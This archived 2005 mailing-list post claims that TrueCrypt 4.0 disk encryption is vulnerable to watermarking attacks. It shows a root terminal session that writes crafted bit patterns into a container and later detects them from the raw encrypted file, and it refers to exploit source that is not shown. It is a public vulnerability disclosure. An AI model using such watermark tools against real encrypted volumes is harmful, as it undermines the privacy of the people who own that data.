gonzo cryptography; how would you improve existing cryptosystems?

Jari Ruusu jariruusu at users.sourceforge.net
Thu Nov 17 00:16:48 EST 2005


Thomas Sjögren wrote:
> On Tue, Nov 08, 2005 at 05:58:04AM -0600, Travis H. wrote:
> > The only thing close that I've seen is Bestcrypt, which is commercial
> > and has a Linux and Windows port.  I don't recall if the Linux port
> > came with source or not.
> 
> http://www.truecrypt.org/
> 
> "TrueCrypt
> Free open-source disk encryption software for Windows XP/2000/2003 and Linux

Unfortunately truecrypt is just another broken device crypto implementation
that uses good ciphers in insecure way. Specially crafted static bit
patterns are easily detectable through that kind of bad crypto.
Requirements: (1) used ciphers must have 128-bit block size and (2) file
system where bit patterns are stored must have 2K or larger soft block size.
Many popular linux file systems meet those requirements. Uuencoded exploit
source code is included in this email.

# truecrypt --device-number 0 --filesystem ext2 /tmp/container1.tc /mnt
Enter password for '/tmp/container1.tc':
# mount | grep /mnt
/dev/mapper/truecrypt0 on /mnt type ext2 (rw)
# tune2fs -l /dev/mapper/truecrypt0 | grep "Block size"
Block size:               4096
# ./create-watermark-encodings-truecrypt 10:44 11:55 12:66 666:77 >/mnt/foo1
# truecrypt -d /mnt
# truecrypt -l
truecrypt: Kernel module not loaded
# ./detect-watermark-encodings-truecrypt </tmp/container1.tc
5241344 bytes scanned
watermark encoding 10, count 44
watermark encoding 11, count 55
watermark encoding 12, count 66
watermark encoding 666, count 77
# uname -s -r
Linux 2.6.14.2
# truecrypt --version | head -n 1
truecrypt 4.0

-- 
Jari Ruusu  1024R/3A220F51 5B 4B F9 BB D3 3F 52 E9  DB 1D EB E3 24 0E A9 DD


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====

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